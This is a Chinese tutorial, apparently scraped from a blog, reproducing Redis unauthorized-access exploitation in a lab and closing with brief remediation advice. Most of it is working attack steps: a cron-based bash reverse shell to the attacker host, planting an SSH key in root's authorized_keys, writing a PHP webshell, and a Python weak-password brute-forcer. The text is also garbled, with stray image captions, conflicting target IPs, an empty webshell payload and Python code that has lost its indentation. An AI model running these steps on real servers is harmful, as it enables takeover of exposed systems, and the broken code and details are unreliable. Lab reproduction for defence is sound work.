Redis未授权访问漏洞复现(三种方式)

一、Redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

二、漏洞简介及危害
漏洞简介

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

三、漏洞复现
漏洞靶机(Centos7):192.168.6.15
攻击机(kali):192.168.6.100

1、安装redis

创建安装redis的目录

mkdir /usr/local/redis
 cd /usr/local/redis/
 wget http://download.redis.io/releases/redis-3.2.0.tar.gz
 tar xzf redis-3.2.0.tar.gz
 cd /usr/local/redis/redis-3.2.0
 make #编译安装

redis未授权靶场dajian redis 授权_安全


安装完成之后需要修改配置文件,配置允许可以远程访问。

vim redis.conf #修改默认配置文件

在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_02


然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis.conf拷贝到/etc/目录下。

cd src
 cp redis-cli /usr/bin
 cp redis-server /usr/bin
 cp redis.conf /etc/

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_03

redis未授权靶场dajian redis 授权_服务器_04


启动redis-server

redis-server /etc/redis.conf

redis未授权靶场dajian redis 授权_服务器_05


验证是否成功启动redis服务ps -ef | grep redis

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_06


2、验证未授权访问

首先在攻击机上扫描靶机开启的端口情况

nmap -p 6379 --script redis-info 192.168.6.123 #验证Redis未授权访问漏洞

redis未授权靶场dajian redis 授权_redis_07


可以看到已经扫描出来靶机确实是在6379端口开启了redis服务。那么接下来就是测试一下未授权的对redis进行访问(这里截图有误,此时防火墙还未放行端口)

这里需要在攻击机上也安装并启动redis,否则无法进行连接测试。

在攻击机上连接靶机的redis

./redis-cli -h 192.168.6.123 # -h指定服务器ip地址,-p可以指定对应端口

redis未授权靶场dajian redis 授权_服务器_08


发现居然连接出错,提示:

Could not connect to Redis at 192.168.1.103:6379:No route to host

应该是centos的防火墙还没有开启6379端口,所以无法进行访问。这里需要打开端口模拟真实环境才能正常连接。

firewall-cmd --zone=public --add-port=6379/tcp --permanent # 开放6379端口

firewall-cmd --reload # 配置立即生效

redis未授权靶场dajian redis 授权_服务器_09

再次进行连接即可成功

redis未授权靶场dajian redis 授权_安全_10

Redis的几个基本命令
info 查看redis版本信息、一些具体信息、服务器版本信息等等:

redis未授权靶场dajian redis 授权_安全_11

将变量id的值设置为”swzaq”,并查看数据库内的所有键:

set id “swzaq”
KEYS * #中间有空格

redis未授权靶场dajian redis 授权_安全_12

获取默认的redis目录、和rdb文件名:

CONFIG GET dir
CONFIG GET dbfilename

redis未授权靶场dajian redis 授权_服务器_13

3、通过未授权访问漏洞实现getshell

当发现redis存在未授权访问漏洞时,我们首先想的就是如何通过该漏洞getshell。而通过该漏洞getshell的方法有以下三种:

(1)利用cron计划任务执行命令反弹shell

在redis是以root权限运行时,我们可以通过写crontab(计划任务)来执行命令反弹shell。

首先在攻击机上监听6666端口

nc -lvp 6666

redis未授权靶场dajian redis 授权_redis_14

然后执行一下命令:

./redis-cli -h 192.168.6.123
 set x “n* * * * * bash -i >& /dev/tcp/192.168.6.100/6666 0>&1n”
 config set dir /var/spool/cron/
 config set dbfilename root
 save

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_15

执行完成save命令之后攻击机就会收到靶机反弹的shell。

redis未授权靶场dajian redis 授权_服务器_16

(2)写ssh-keygen公钥然后使用私钥进行登陆

当redis服务是使用root账号启动,并且服务器开放了SSH服务,而且允许使用密钥登录时,我们可以通过未授权漏洞远程写入一个公钥,然后直接使用私钥登录远程服务器。

首先攻击机在本地生成一对密钥

ssh-keygen -t rsa

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_17

cat /root/.ssh/id_rsa.pub

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_18

接着再次执行命令

config set dir /root/.ssh/
 config set dbfilename authorized_keys
 set x “nnn ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+npEJrSv4m3Db/iF1Pjh4Rzxo/PVg0ZE5JmDQMyWrh0mbttP3/HIfyL+NKIw/x36mMlR4jQamW9S5pDTsh4AdcnHnpehXZYe3UdPI3pLW4C8ZzllrWE23n2ZFTKc0aJHhfdozsTZdTq3V7e2lbx91RQk2rE4hwhJiyuFSum8womeZu3+CYTi+eOJOWtgLngMBja8wGY0dLIuLK0gruXdwhxobYCcROg+FZQR9sLrg0qLV8N60ZBOeM1lZrH7DNUGQV3mGAqXgZ+7iwZw6lE4fIVSox1N4XsiGHrZFo0i9+spxnLeWZsi7JK0542a9CLsf+2Hz3XOTzRSlnPnCquYlDSCiaBjKhIfHdy/NZMK23N9de/3yKpZV9teFHsQOEYsJ2O2xHOoIDNG1eZs58F64s5RdhkbyJO+oAkqmt2fvWxpTXlAOGCGfdEABq/yV1tOzosZrXHUlVWfzg5OEw0J/gAxzo6qDC5+pP+exOdmGYEoDo/tQKI6T2epWHP6+TDc= root@kali nnn”
 save

redis未授权靶场dajian redis 授权_redis未授权靶场dajian_19

save命令执行完毕之后就可以直接利用公钥登录靶机了。

root@kali:~# ssh -i id_rsa root@192.168.6.123

redis未授权靶场dajian redis 授权_安全_20

(3)往web物理路径写webshell

前面两种getshell的方法都是需要以root权限来运行redis,那么遇到是以低权限运行redis的时候怎么办呐?如果这个时候发现服务器开着web服务,并且redis有web目录写权限时,就可以尝试往web路径写入webshell。

执行以下命令:

config set dir /var/www/html/
 config set dbfilename shell.php
 set x “”
 save

redis未授权靶场dajian redis 授权_Redis_21

执行完成之后就已经在/var/www/html目录下写入了一句话木马文件shell.php。

使用菜刀进行连接

pyhton脚本自动化测试
可用来测试是否存在未授权或弱口令的情况:

#! /usr/bin/env python
* coding:utf-8 *

import socket
 import sys
 PASSWORD_DIC=[‘redis’,‘root’,‘oracle’,‘password’,‘p@aaw0rd’,‘abc123!’,‘123456’,‘admin’]
 def check(ip, port, timeout):
 try:
 socket.setdefaulttimeout(timeout)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, int(port)))
 s.send(“INFOrn”)
 result = s.recv(1024)
 if “redis_version” in result:
 return u"未授权访问"
 elif “Authentication” in result:
 for pass_ in PASSWORD_DIC:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, int(port)))
 s.send(“AUTH %srn” %(pass_))
 result = s.recv(1024)
 if ‘+OK’ in result:
 return u"存在弱口令,密码:%s" % (pass_)
 except Exception, e:
 pass
 if name == ‘main’:
 ip=sys.argv[1]
 port=sys.argv[2]
 print check(ip,port, timeout=10)


四、漏洞修复
1、限制登录ip
在redis.conf文件中设置redis访问的ip白名单,如果项目允许的话最好设置为只允许本地访问。

2、添加密码
在redis.conf配置文件中找到requirepass并去掉前面的#, 然后在后面设置一个高强度的密码。因为redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础,所以设置一个高强度的密码不仅解决了未授权的问题还能防止密码爆破。

3、修改默认端口